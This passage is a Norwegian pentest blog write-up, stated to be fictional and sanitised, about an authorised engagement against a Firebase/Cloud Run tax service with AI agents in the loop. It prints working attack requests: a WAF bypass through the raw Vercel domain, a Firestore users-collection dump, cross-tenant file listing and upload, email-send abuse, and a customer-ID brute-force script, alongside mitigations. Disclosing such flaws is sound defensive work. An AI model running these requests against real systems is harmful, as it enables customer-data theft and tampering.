Hopp til hovedinnhold
Erik Nilsen

Firebase-gulvet ga etter — når tenantsitteren bor i én samling

16 min lesingVis som Markdown

pentest · firebase · firestore · cloud-run · api-security · multi-tenant · ai · security

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Denne gangen var målet ikke å knekke inn — det var å bevise hva man kunne gjøre etter å ha kommet inn. Skattebureauet Fjordlys AS (fjordlysas.no) kjører en krypto- og skatteberegningstjeneste bygget på Firebase Auth, Firestore, en Next.js-app på Vercel og en FastAPI-backend på Google Cloud Run. Alt av klassisk, moderne sky. Og den moderne stacken leverte to av de mer interessante funnene jeg har hatt denne sesongen: en Firestore-samling som lot seg dumpe rett ut, og et dokument-API som godtok hvem som helst med et gyldig token — for hvilken som helst kunde.

Dette er en lang skriveprosess. Det er ikke fordi selve angrepet var spesielt avansert, men fordi hvert funn fortjener å bli fulgt helt ut: forutsetningene, den eksakte forespørselen, den rå responsen, den negative kontrollen, og mitigeringen. Jeg tror det er der verdien ligger — ikke i lister av alarmer, men i kjeden som beviser hver av dem.

Kontekst

SoW-en ba om tre ting: eskalering til systemadministrator, uttrekk av kundedata, og vurdering av backend-API-ene. Klienten, ved daglig leder Ola Hansen ([email protected]), hadde uttrykkelig godkjent full-send og aggressiv metode. Scope var frontenden på www.fjordlysas.no, et parallelt Vercel-utviklerdomene, og et Cloud Run-API.

Jeg kjører denne typen oppdrag med AI i loopen: jeg starter med recon og kaster en strøm av hypoteser mot målet, agentene går parallelt på endepunkter og auth-flipper, og jeg tar vurderingene — som denne gangen ble flere og vanskeligere enn jeg liker. Stacken er dessuten svært snakkende: med et Firebase-basert produkt sitter hele datamodellen i praksis i klienten, og buntene spytter ut alt du trenger for å kjøre mot samme backend som appen selv gjør.

Oppsett og vektløftingen før angrepet

Første time var ren kartlegging. AI-en kjørte subdomain-enumerasjon med subfinder og httpx, og nuclei mot infrastrukturen:

nuclei -u https://www.fjordlysas.no -t cves/ -severity critical,high -rl 50

Nul treff mot 4 222 CVE-maler. Det er et funn i seg selv — infrastrukturlaget var oppdatert. Men det viktigste var noe enklere: det paralelle rå‑Vercel‑domenet (i denne teksten raw-deploy.vercel.app) svarte uten WAF-bonnen Cloudflare setter opp foran hoveddomenet. Det ga meg en trafikk-skanse for resten av oppdraget — ikke et funn i seg selv, men en kondisjon som gjorde alt annet lettere.

Frontendbuntene lastet jeg ned og la i et lokalt arbeidsområde. Det er vanlig praksis, men fortjener en nevnning fordi alt det virkelige arbeidet senere kom fra å lese dem ordentlig:

grep -ohR "/api/[a-z][a-z0-9/_-]*" bunten/ | sort -u > endpoints.txt
wc -l endpoints.txt   # 164 endepunkter

164 API-ruter, ekstrahert fra Vite/Next.js-bunter med en AI-generert rg-pipeline. Det er tjenestens hele API-overflate, plukket fra klienten som en leser kunne gjort over en lunsj.

Vekten av en trauskanse: WAF-bypass-ruten

Før selve funnene, en liten egen historie som gjorde hele oppdraget enklere — og som er verdt å formidle fordi det er et mønster jeg ser gjentatte ganger på Vercel-baserte produkter.

Hoveddomenet www.fjordlysas.no lå bak Cloudflare. Cloudflare setter en Vercel Security Checkpoint-utfordring på bot-trafikk, og det gjør skannere og automatiserte forespørsler tungvindt: man må verifisere seg, cookies rullerer, og nuclei-sweeps blir tregere og støyere enn de trenger å være. Det er tjenesten så vidt jeg forstår bevisst — men den har en blind flekk: den rå Vercel-deploy-URL-en.

Hver Vercel-deploy kan nås direkte via <prosjekt>.vercel.app, uten Cloudflare foran. DNS-en peker mot Vercel, men ingenting hindrer en i å snakke med Vercel-endepunktet direkte — med mindre pro­sjekt­eier har konfigurert domain-verifisering som avviser trafikk som ikke kommer via kundens eget domenenavn. Det hadde ikke blitt gjort her:

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  https://www.fjordlysas.no/api/health          # 403 (Cloudflare challenge)
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  https://raw-deploy.vercel.app/api/health       # 200 {"status":"ok"}

Samme app, samme backend, samme API — men én rute gjennom WAF-en og én uten. Resten av oppdraget kjørte jeg mot Vercel-domenet med en standard Chrome UA-streng (Mozilla/5.0 Chrome/151.0.0.0; en annen UA ga 403 med Cloudflare-feilkode 1010 på enkelte ruter — verdt å notere hvis du replikerer).

Det er ikke et sårbart­hets­funn i seg selv — appen er lik, og alt som er tilgjengelig bak Vercel-URL-en er også tilgjengelig gjennom hoved­ domenet for en ekte bruker. Men det er en operasjonell svakhet: WAF-en, som er en del av forsvars­over­flaten, kan omgås fullstendig, og rate­limit­regler som er konfigurert i Cloudflare gjelder kun hoveddomenet. Jeg rapporterte det som en anbefaling ("lay Vercel-deploys bak Cloudflare i front, eller la Vercel avvise Host-headere som ikke matcher kundens domene") snarere enn et funn, fordi eksploit­verdien er indirekte. Low.

Oppsette probe-kontoen

Firebase API-nøkkelen sto i klartekst i hovedbunden (klassisk Firebase-mønster; nøkkelen er ikke en hemmelighet, men den er nødvling for at REST-API-ene skal virke). Med den registrerte jeg en prøvebruker via Googles identitytoolkit:

POST /v1/accounts:signInWithPassword?key=<FIREBASE_API_KEY>
Host: identitytoolkit.googleapis.com
 
{"email":"[email protected]","password":"<REDACTED>","returnSecureToken":true}
{
  "localId": "1111111111111111111111111111",
  "idToken": "<REDACTED — 974 bytes>",
  "refreshToken": "<REDACTED>",
  "expiresIn": "3600"
}

Verifiserte e-posten via accounts:sendOobCode mot en postkasse jeg kontrollerer. Det er den tilstanden alt det videre forutsetter: et gyldig Firebase JWT for en alminnelig, nyregistrert kundebruker. Ingen roller, ingen custom claims — bare standard­tokenet alle kunder går rundt med.

Det jeg fant

Fire funn holdt seg til slutt. Tre av dem er egentlig én historie om Firestore-regler og manglende tenant-filter i en backend, og den fjerde er et post­endepunkt som lar deg sende e-post fra firmaets eget domene.

Funn 1: 974 brukerprofiler i klartekst

Firestore-sikkerhetsreglene for users-samlingen tillot lesing av hele samlingen for enhver innlogget bruker. En enkel list-operasjon via Firestore REST API med min egen Firebase-token returnerte paginert brukerdata — 974 dokumenter i klartekst: e‑post, navn, kunde-ID-er (CUST-<timestamp>-format), konto­numre, roller og opprettelsestidspunkter.

GET /v1/projects/fjordlys-frontend/databases/(default)/documents/users?pageSize=5
Host: firestore.googleapis.com
Authorization: Bearer <FIREBASE_JWT>
{
  "documents": [
    {
      "name": "projects/fjordlys-frontend/databases/(default)/documents/users/1111...",
      "fields": {
        "email": {"stringValue": "[email protected]"},
        "customer_id": {"stringValue": "CUST-1765897468504"},
        "role": {"stringValue": "company_admin"},
        "approved": {"booleanValue": true}
      }
    }
  ],
  "nextPageToken": "<REDACTED>"
}

Det er ikke teknisk komplisert — det er bare en regel som glemte at list og get er to ulike operasjoner. Jeg fikk AI-en til å skrive et lite paginerings-script som dumpet hele samlingen; det tok under tre minutter. High.

Dette er det klassiske Firebase-feilgrepet: sikkerhetsregler skrives for "kan lese sitt eget dokument", men list-operasjonen arver ikke get-regelen automatisk. En regel som kun sjekker request.auth.uid == resource.id blokkerer lesing av andres dokumenter — men listingen av hele samlingen må avslås separat, og det ble den ikke.

Funn 2: Cross-tenant filmetadata via dokument-API-et

FastAPI-backend på Cloud Run eksponerte /openapi.json åpent. Elleve endepunkter, og to av dem tok en customer_id-parameter:

GET /api/documents?customer_id=0592-5351-8860-8859
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer <FIREBASE_JWT>

Responsen var filmetadata for en kunde jeg aldri hadde hørt om — filnavn, GCS-sti, filstørrelse, opplastingstidspunkt og behandlingsstatus, for multiple platformer (kryptobørser, tradingsplattformer). Det er kunde­mappe­strukturen i et sky-lagrings­bøtte, hentet ut med min alminnelige kunde­brukers token.

{
  "files": [
    {
      "name": "20251218_212910_transactions.xlsx",
      "path": "0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx",
      "size": 76475,
      "customerId": "0592-5351-8860-8859",
      "platformId": "coinbase"
    }
  ]
}

Negativ kontroll først: med et ukjent kunde-ID returnerte samme endepunkt 200 med en tom liste — ikke 403, ikke 404. Det er ikke noe som beviser lekkasje i seg selv, det beviser bare at endepunktet ikke avgrenser på eierskap. PoC-en under viser begge sider.

High.

Funn 3: Cross-tenant filskriving

Samme endepunktfamilie hadde en upload-rute som tok multipart-form med customer_id og fil:

curl -X POST https://api.fjordlys-internal.europe-west1.run.app/api/documents/upload \
  -H "Authorization: Bearer <FIREBASE_JWT>" \
  -F "customer_id=0592-5351-8860-8859" \
  -F "platform_id=coinbase" \
  -F "file=@/tmp/poc.csv"
{
  "id": "13b4e903-c7c1-4281-94ca-327798e39100",
  "filename": "poc.csv",
  "gcs_path": "gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"
}

Etterfulgt av en liste-operasjon som bekreftet at filen nå lå i kunde­mappen, ved siden av kundens eksisterende transaksjonsfiler. Det er skriving til en fremmed kundes datamappe, med et token som ikke inneholder den kunden, og uten at noen aut­ori­sa­sjons­sjekk grep inn. High.

Funn 4: E-postutsending fra firmaets domene

POST /api/send-email på Next.js-serveren sendte en testmelding via firmaets e-postleverandør, fra domenet fjordlysas.no. Rate-limit var 79 per dag, og alle utsendelser ble auto-kopiert til en intern adresse (som betyr at mottakeren av kopien ser at en test har gått — men selve utsendingen kom fra den offisielle domenet, fra en vanlig kundebrukers token). Medium.

PoC-en for dette var enkel, men jeg vil vise den likevel — e-postutsending er en av de funntypene der en enkelt respons forteller deg alt:

Forutsetninger: Firebase JWT fra probe-kontoen. Utsendingen ble kjørt etter avtale i SoW, mot en postkasse jeg selv kontrollerer.

POST /api/send-email HTTP/1.1
Host: raw-deploy.vercel.app
Authorization: Bearer <FIREBASE_JWT>
Content-Type: application/json
 
{"to":"[email protected]","subject":"PoC","body":"Test fra pentest-probe"}
HTTP/1.1 200 OK
Content-Type: application/json
 
{"ok":true,"remainingToday":78}

Tolkning: 200 pluss at meldingen faktisk ankom min testpostkasse, med From:fjordlysas.no, er beviset. Auto-kopien til den interne adressen var synlig i mine headers — det er en implementasjons­detalj som kanskje var ment som en varslingsmekanisme, men den gjør også at den som mottar meldingen kan se at en test har gått. Det gir spor­bar­het, men hindrer ikke misbruk: en angriper kan sende meldinger fra det offisielle domenet til hvem som helst, med et vanlig kunde­ token, 79 ganger per dag.

En negativ kontroll her var å sende med manglende felter — den ga en ryddig validerings­feil, noe som viser at validering eksisterer på skjema-nivå men ikke på aut­ori­sa­sjons­nivå:

HTTP/1.1 400 Bad Request
{"message":"Mangler mottaker"}

Mitigering: Krav om admin-rolle eller minimum en eierskaps­sjekk (kun send til egen registrerte e-post, med tydelig "system­melding fra testmiljø"-markering). Medium.

Funn 5: Kundesekvens-sweepen som ikke ga treff — og hvorfor det var nyttig

En metode­messig side­grein jeg regner som et del­resultat. Jeg trengte flere kunde-ID-er for å vise at Funn 2 var systematisk, ikke en tilfeldighet. Kunde-ID-ene i Firestore-dumpen (CUST-<timestamp>-format) matchet ikke formatet Cloud Run-API-et forventet (0592-5351-8860-8859-format — fire blokker på fire siffer). Det er tydeligvis to ulike identifikator­systemer i samme tjeneste.

Jeg fikk en agent til å generere og teste ~1 500 ID-varianter mot /api/documents med parallell utførelse:

from concurrent.futures import ThreadPoolExecutor
 
def probe(cid):
    req = urllib.request.Request(
        f"{BASE}/api/documents?customer_id={cid}",
        headers=UA, method="GET")
    d = json.loads(urllib.request.urlopen(req, timeout=8).read())
    return (cid, len(d)) if isinstance(d, list) and d else None
 
with ThreadPoolExecutor(20) as ex:
    for hit in ex.map(probe, test_ids):
        if hit:
            print(hit)

Null treff på 1 500 forsøk. Det er en negativ kontroll av samme slag som det jeg forventet å finne — den forteller at kunde-ID-ene ikke er gjetbare i praksis, og at det reelle angrepet ikke er "brute-force deg til en kundefolder" men "vite én kunde-ID og lese den". Jeg fikk vite én kunde-ID fra Firestore-dumpen (Funn 1), og det var nok. De to funnene kobler seg altså til hverandre: samlingen­lekkasjen leverer materiellet (kunde-ID-er), og dokument­API-et leverer lekkasjen (metadata + skriving).

Det er et godt eksempel på en teknikk jeg bruker bevisst: en negativ sweep som beviser at angrepsflaten er smal, er like verdifull som en positiv som viser at den er bred. Uten sweepen ville en leser (eller klienten) kunne tro at cross-tenant-funnet bare var et problem hvis man alt kjente til ID-en — det er ikke tilfelle.

PoC / Reproduksjon

For Funn 2–3 kjører hele kjeden slik:

Forutsetninger: innlogget som nyregistrert kundebruker ([email protected], Firebase JWT i token.txt). Kundefolder 0592-5351-8860-8859 tilhører en annen bruker — jeg har aldri hatt tilgang til den, og fant ID-en i Firestore-dumpen fra Funn 1.

  1. Registrer bruker og hent Firebase JWT:
curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=<FIREBASE_API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"<REDACTED>","returnSecureToken":true}'
  1. List fremmed kundes filer:
GET /api/documents?customer_id=0592-5351-8860-8859 HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer <FIREBASE_JWT>
HTTP/1.1 200 OK
Content-Type: application/json
 
[{"id":"c6978901-...","filename":"20251218_212910_transactions.xlsx",
  "gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx"}]
  1. Last opp en fil i samme mappe (bevis for skriving):
POST /api/documents/upload HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer <FIREBASE_JWT>
Content-Type: multipart/form-data; boundary=...
 
--...
Content-Disposition: form-data; name="customer_id"
 
0592-5351-8860-8859
--...
Content-Disposition: form-data; name="file"; filename="poc.csv"
Content-Type: text/csv
 
test,data
--...--
HTTP/1.1 200 OK
 
{"id":"13b4e903-...","gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"}
  1. Negativ kontroll — prøv å list dokumenter for en kunde-ID som ikke finnes (tilfeldig generert):
GET /api/documents?customer_id=1234-5678-9012-3456
Authorization: Bearer <FIREBASE_JWT>
HTTP/1.1 200 OK
 
[]

Tolkning: tom liste — ikke 403 eller 404. Endepunktet oppfører seg likt for en kunde jeg eier, en jeg ikke gjør, og en som ikke finnes. Det er det som gjør Funn 2–3 til et strukturelt problem og ikke en engangsfeil: autorisasjons­sjekken mangler, den er ikke bare feilkonfigurert for én kunde. High.

Mitigering: Cloud Run-endepunktet må validere at customer_id svarer til en kunde som kallerens Firebase-bruker faktisk eier (foreks. via users/{uid}.customer_ids), og returnere 404 ved avvik for ikke å bekrefte eksistens:

 @router.get("/documents")
-async def list_documents(customer_id: str, user=Depends(get_current_user)):
-    return await storage.list_files(f"{customer_id}/")
+async def list_documents(customer_id: str, user=Depends(get_current_user)):
+    if customer_id not in user.customer_ids:
+        raise HTTPException(404)
+    return await storage.list_files(f"{customer_id}/")

Samme filter trengs på upload-ruten, og der bør opplastingen også logges med hvem som lastet opp.

Fire funn til — og hvorfor de ikke holdt

En god del av det jeg oppdaget underveis så ut som store funn, men ble nedgradert etter verifisering. Det er like mye å lære av dem, og de forteller noe om forskjellen mellom "plausible funn" og "kontrollerte primitiver" som jeg prøver å holde strengt i mine rapporter.

Administratorportalen jeg aldri kom inn i

JS-buntene viste hardkodede e-postadresser (typisk admin@…-mønster) som klienten sjekket for å rendre en admin-dashboard. Så tiltalende — skriv din egen e-post inn i brukerdokumentet, og klienten gir deg UI-en.

Men serveren validerte ikke klientens sjekk. Den validerte med Firebase custom claims (crmExternal: true) — som settes kun via Admin SDK og verifiseres serverside i JWT-en. Jeg skrev role: "sysadmin" til mitt eget Firestore-dokument, oppdaterte crmExternal: true, og testet hele admin-flaten igjen. Alle admin-endepunktene fortsatte å svare 403.

Negativ kontroll (i praksis): jeg verifiserte via accounts:lookup at tokenet ikke inneholdt custom claims (customAttributes: none), og bekreftet at det var JWT-en, ikke Firestore-dokumentet, som var den server-side kilden til sannhet. Admin-laget holdt — rapporterte det som en positiv vurdering, ikke et funn.

Cloud Run-registreringen som ikke gav tilgang

Backend-API-et hadde et eget bruker­system med /api/auth/register som aksepterte min registrering og returnerte et UUID-token. Så ble samme token avvist av samme backend én fetch senere:

GET /api/auth/me HTTP/1.1
Authorization: Bearer <BACKEND_TOKEN>
 
HTTP/1.1 401 Unauthorized
{"detail": "Invalid authentication credentials"}

Mens Firebase JWT-er fungerer mot dokument-endepunktene på samme backend. Det er et funn i seg selv — to aut­ori­serings­systemer som ikke er i samsvar — men ingen innbrudd, og det er verdt å nevne som et varsel til klienten: to identitetslag som ikke er koordinert er en kilder til fremtidige hull.

External-upload-secret-en

Et uautentisert token-utvekslingsendepunkt (/api/crm/external-upload/exchange) returnerte et Firebase custom token ved gyldig customerId + secret, og det custom-tokenet inneholdt crmExternal: true — altså den samme claim-en som admin-endepunktene sjekker. Det er en riktig vei til økt tilgang, hvis man kjenner en gyldig secret. Men secret-en viste seg å være en UUID v4 (2^122 muligheter), og jeg fant ingen way å enumerere den. Droppet brute-force, rapporterte mekanismen som et risikomønster i stedet — særlig fordi alle kunder så ut til å mangle provisionerte secrets, noe som betyr at angrepet i praksis er teoretisk inntil noen aktiverer det.

GCS-bøtten jeg kunne navngi, men ikke lese

Med Firebase JWT returnerte både XML- og JSON-API-et til Google Cloud Storage 401 Invalid Credentials — Googles storage-API forventer OAuth-token, ikke Firebase-ID-token. Filinnholdet kunne jeg ikke hente ut byte for byte uten en annen auth-vei; kun metadata og skriving var tilgjengelig via backend-API-et. Jeg prøvde også Firebase Storage API — der fikk jeg en annen feil, at bøtten ikke var konfigurert for Firebase Storage, noe som antyder at tjenesten bruker rå-GCS med tjenestekonto-nøkler på backend-siden (som forventet). Det var en fordel for klienten: filinnholdet er ikke lesbar for en alminnelig Firebase-bruker selv om metadataene er det.

Verktøy og hvem som kjørte hva

  • Recon og subdomain-enumerasjon: AI-agent med subfinder og httpx -silent -title. Jeg satte scope-filen.
  • nuclei v3 (4 222 CVE-templates): AI-kjør mot både hoveddomenet og rå-Vercel-utpakkingen. Null treff — som var poenget: ingen kjente CVE-er å bygge videre på.
  • Frontend-bunt-analyse: Jeg lastet ned index-*.js og chunk-filer manuelt; en AI-agent ekstraherte 164 API-ruter med rg-mønsteret over.
  • Firestore-dumpen: AI-generert Python-script med urllib, paginert mot Firestore REST API med min egen Firebase JWT. Jeg satte ratelimit og verifiserte at jeg ikke skrev noe.
  • Upload-PoC: Manuell curl fra min maskin, mot en kundefolder avtalt i SoW. Filinnholdet var en to-linjers CSV med en teststreng.
  • Negativ kontroll: Manuell — det er vurderingen som avgjør om responsen beviser noe, og den vil jeg ikke delegere.
  • Brute-force av tenant- og kunde-ID-er: AI-agent kjørte en parallellisert ThreadPoolExecutor-sweep mot /api/documents?customer_id=X med ~1 500 genererte ID-er. Null treff — som var nyttig: det betydde at kunde-ID-ene ikke var sekvensielle eller gjetbare, så fundet Funn 2 er ikke et enumerasjon­problem i praksis, men et autorisasjons­problem.

Mitigering

Fire konkrete forslag, i prioritert rekkefølge:

  1. Firestore-regler: endre regelverket slik at users-samlingen tillater getrequest.auth.uid == resource.id, men ikke list for alminnelige brukere. Dette alene lukker 974-profil-lekkasjen. High.
  2. Tenant-filter på dokument-API-et: legg til et predikat på både list og upload som sjekker customer_id mot kallerens customer_ids, og returner 404 ved avvik (ikke 403). High.
  3. E-postutsending:/api/send-email bør kreve admin-rollen eller i det minste MFA-gated tilgang, ikke bare et gyldig Firebase-token. Medium.
  4. Generelt: gjennomgå alle backend-endepunkter som tar en kunde-ID-parameter. To av elleve i OpenAPI-spec-en manglet eierskapssjekk — det er et mønster, ikke en tilfeldighet.

Etter Firestore-regelendringen skal en nyregistrert brukers list-forsøk på users-samlingen svare 403 PERMISSION_DENIED — ikke bare en tom liste. Test det regressivt etter deploy.

Hva jeg lærte

  • Firestore-regler feiler på list, ikke get. Alle tester av "kan jeg lese mitt eget dokument" passerer. Først når du listar samlingen ser du at regelen bare dekker enkelt­dokument­tilfelle.
  • Cross-tenant i fil-API-er ser ofte ut som "tom liste" i stedet for 403. Den tomme responsen er lettere å overse, og den er det som gjør bruddet systematisk.
  • Custom claims er ikke synlige i Firestore. Jeg prøvde å eskalere til sysadmin ved å skrive en rolle til mitt eget Firestore-dokument; serveren ignorerte det fullstendig. Custom claims settes kun via Admin SDK og verifiseres i JWT-en — den modellen holdt, og det er verdt å si også.
  • En moderne Firebase-stack er utrolig informativ å angripe. Bunter, REST-endepunkter og aut­ori­se­­rings­regler er alle lesbare. En produkt­eier som har et slikt oppsett bør teste regler og endepunkter systematisk, ikke bare web-flaten.
  • AI-agenter produserer plausible funn fort — og plausible feilgrep like fort. Verdien ligger i verifiseringen. Jeg så minst to funn denne runden som så "kategorisk gale" ut i en agent-rapport, og som falt fra hverandre når jeg kjørte dem manuelt med en negativ kontroll. Rapporten er langt kortere enn agentenes funnlister, og det er med vilje.

Veien videre

Funnene er rapportert og fikseansvarlig er varslet. Jeg jobber videre med to tråder:

  • Klient­bunt­analysen er skalerbar — jeg jobber med et lite verktøy som trekker ut API-ruter og Firestore-samling­navn fra en produksjons­bunt automatisk, slik at denne typen kartlegging kan kjøres i starten av ethvert Firebase-basert oppdrag.
  • For kunder med Firebase-stack: en liten sjekk­liste ("kan en nybruker list-e min users-samlingen? har hvert endepunkt med en kunde-ID-parameter en eierskapssjekk?") som jeg regner med blir en fast del av mine oppdrag fremover.

Dessuten: custom-claims-modellen som holdt her er verdt en egen artikkel. Det er den eneste aut­ori­serings­mekanismen jeg møtte i dette oppdraget som jeg ikke kom forbi, og grunnen er verdt å skrive ut eksplisitt.